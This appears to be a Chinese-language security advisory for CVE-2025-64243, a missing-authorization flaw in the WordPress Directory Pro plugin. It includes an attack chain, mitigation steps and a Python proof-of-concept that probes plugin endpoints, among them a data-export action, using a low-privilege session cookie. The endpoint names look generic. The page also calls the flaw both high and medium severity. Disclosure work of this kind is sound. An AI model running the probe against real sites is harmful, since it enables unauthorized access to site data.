IPBUF安全漏洞报告
English
CVE-2025-64243 CVSS 4.3 中危

CVE-2025-64243 WordPress Directory Pro插件缺失授权漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-64243
漏洞类型
缺失授权/访问控制
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Directory Pro (WordPress插件 by e-plugins)

相关标签

缺失授权访问控制WordPress插件Directory ProBroken Access ControlCVE-2025-64243中危漏洞权限绕过

漏洞概述

CVE-2025-64243是WordPress Directory Pro插件中的一个高危安全漏洞,CVSS评分4.3,属于中等严重程度。该漏洞为缺失授权(Missing Authorization)类型,存在于插件的访问控制安全级别配置中。攻击者可利用此漏洞绕过正常的权限检查,对本应受保护的功能和数据进行未授权访问。由于该插件广泛用于构建商业目录网站,漏洞可能影响大量使用该插件的企业网站,导致敏感商业信息泄露或业务逻辑被滥用。漏洞影响范围涵盖所有低于或等于2.5.6版本的安装实例。

技术细节

该漏洞源于Directory Pro插件在实现访问控制机制时,未正确验证用户权限级别。插件在处理目录条目访问、编辑和管理功能时,缺少适当的授权检查,允许低权限用户(如订阅者、贡献者)执行原本仅管理员可用的操作。攻击者可通过构造特定的HTTP请求,直接调用后端API端点,绕过前端权限验证。关键问题在于插件使用is_user_logged_in()等基础函数而非current_user_can()进行权限验证,导致认证用户可访问任何其他认证用户的数据。建议使用WordPress内置的current_user_can()函数进行细粒度权限控制,并对所有AJAX和REST API端点实施严格的角色和能力检查。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress网站的有效低权限账户(如订阅者角色)
STEP 2
步骤2
攻击者使用该账户登录并获取有效的会话Cookie
STEP 3
步骤3
攻击者构造针对Directory Pro插件API端点的HTTP请求,直接访问管理功能
STEP 4
步骤4
由于插件缺少正确的current_user_can()验证,请求被服务器接受
STEP 5
步骤5
攻击者获取敏感目录数据、修改商业列表或导出数据库内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64243 PoC - Directory Pro Broken Access Control # Affected: Directory Pro <= 2.5.6 import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Low-privilege user session required cookies = { 'wordpress_test_cookie': 'WP+Cookie+check', 'wordpress_logged_in_xxx': 'low_priv_user_token' } # Enumerate accessible directories without proper authorization endpoints = [ '/wp-json/directory-pro/v1/directories', '/wp-json/directory-pro/v1/listings', '/wp-admin/admin-ajax.php?action=get_directory_listings', '/wp-admin/admin-ajax.php?action=dp_export_data' ] for endpoint in endpoints: url = target + endpoint try: resp = requests.get(url, cookies=cookies, timeout=10) if resp.status_code == 200 and 'application/json' in resp.headers.get('Content-Type', ''): print(f'[+] Unauthorized access possible: {endpoint}') print(f'Response: {resp.text[:500]}') except Exception as e: print(f'[-] Error: {e}') # Note: Requires valid low-privilege WordPress account

影响范围

Directory Pro (WordPress) <= 2.5.6

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 限制WordPress注册功能,仅允许管理员创建账户;2) 使用WAF(Web应用防火墙)规则阻止异常API请求;3) 临时禁用Directory Pro插件的非必要功能;4) 加强日志监控,及时发现未授权访问行为;5) 考虑使用替代插件或自建目录功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表